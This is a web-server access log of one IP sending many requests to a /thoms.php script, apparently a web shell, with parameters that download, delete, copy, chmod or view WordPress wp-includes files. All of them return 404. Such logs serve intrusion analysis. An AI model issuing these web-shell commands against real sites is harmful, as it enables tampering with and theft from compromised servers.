45.135.193.11 - - [11/Sep/2026:23:58:40 -0400] "GET /thoms.php?dl=block-template-utils.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=block-template-utils.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:40 -0400] "GET /thoms.php?del=date.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=date.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:40 -0400] "GET /thoms.php?dl=deprecated.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=deprecated.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:40 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-phpass.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-phpass.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:40 -0400] "GET /thoms.php?del=class-wp-block-parser.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-block-parser.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:40 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-taxonomy.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-taxonomy.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:40 -0400] "GET /thoms.php?chmod=date.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=date.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:40 -0400] "GET /thoms.php?chmod=class-wp-user-query.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-user-query.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:40 -0400] "GET /thoms.php?dl=cron.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=cron.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:40 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fdate.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fdate.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:40 -0400] "GET /thoms.php?del=default-widgets.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=default-widgets.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:40 -0400] "GET /thoms.php?chmod=ms-functions.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=ms-functions.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:40 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fpomo&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fpomo&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:40 -0400] "GET /thoms.php?del=formatting.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=formatting.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:41 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fwp-db.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fwp-db.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:41 -0400] "GET /thoms.php?del=html-api&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=html-api&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:41 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Finteractivity-api&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Finteractivity-api&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:41 -0400] "GET /thoms.php?del=abilities.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=abilities.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:41 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-block.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-block.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:41 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-comment-query.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-comment-query.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:41 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-metadata-lazyloader.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-metadata-lazyloader.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:41 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=general-template.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=general-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:41 -0400] "GET /thoms.php?chmod=ms-files.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=ms-files.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:41 -0400] "GET /thoms.php?chmod=class-wp-http-streams.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-streams.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:41 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-paused-extensions-storage.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-paused-extensions-storage.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:41 -0400] "GET /thoms.php?chmod=class-wp-token-map.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-token-map.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:41 -0400] "GET /thoms.php?chmod=cron.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=cron.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:41 -0400] "GET /thoms.php?dl=class-wp-block-editor-context.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-editor-context.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:41 -0400] "GET /thoms.php?chmod=feed.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=feed.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:41 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=functions.wp-styles.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=functions.wp-styles.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:42 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fhttps-detection.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fhttps-detection.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:42 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=ms-network.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=ms-network.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:42 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-icon-collections-registry.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-icon-collections-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:42 -0400] "GET /thoms.php?dl=class-wp-oembed.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-oembed.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:42 -0400] "GET /thoms.php?chmod=class.wp-dependencies.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class.wp-dependencies.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:42 -0400] "GET /thoms.php?chmod=plugin.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=plugin.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:42 -0400] "GET /thoms.php?chmod=block-template.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=block-template.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:42 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=capabilities.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=capabilities.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:42 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-site.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-site.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:42 -0400] "GET /thoms.php?del=class.wp-scripts.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class.wp-scripts.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:42 -0400] "GET /thoms.php?chmod=class-wp-embed.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-embed.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:42 -0400] "GET /thoms.php?chmod=class-wp-user.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-user.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:42 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fcompat-utf8.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fcompat-utf8.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:42 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fplugin.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fplugin.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:42 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=registration.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=registration.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:42 -0400] "GET /thoms.php?dl=class-wp-block-parser-frame.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-parser-frame.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:43 -0400] "GET /thoms.php?chmod=class-wp-http-requests-response.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-requests-response.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:43 -0400] "GET /thoms.php?chmod=class-wp-widget.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-widget.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:43 -0400] "GET /thoms.php?chmod=pomo&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=pomo&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:43 -0400] "GET /thoms.php?del=block-bindings.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=block-bindings.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:43 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-snoopy.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-snoopy.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:43 -0400] "GET /thoms.php?del=class-wp-block-list.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-block-list.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:43 -0400] "GET /thoms.php?dl=class-wp-block-metadata-registry.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-metadata-registry.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:43 -0400] "GET /thoms.php?dl=class-wp-recovery-mode-key-service.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-recovery-mode-key-service.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:43 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-view-config-data.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-view-config-data.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:43 -0400] "GET /thoms.php?dl=class-wp-customize-panel.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-customize-panel.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:43 -0400] "GET /thoms.php?chmod=class-wp-http-requests-hooks.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-requests-hooks.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:43 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-user.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-user.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:43 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=option.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=option.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:43 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=shortcodes.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=shortcodes.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:43 -0400] "GET /thoms.php?dl=class-oembed.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-oembed.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:43 -0400] "GET /thoms.php?chmod=class-wp-http-encoding.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-encoding.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:44 -0400] "GET /thoms.php?dl=class-wp-speculation-rules.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-speculation-rules.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:44 -0400] "GET /thoms.php?chmod=class-wp-customize-setting.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-customize-setting.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:44 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fuser.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fuser.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:44 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-http.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-http.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:44 -0400] "GET /thoms.php?dl=class-wp-image-editor.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-image-editor.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
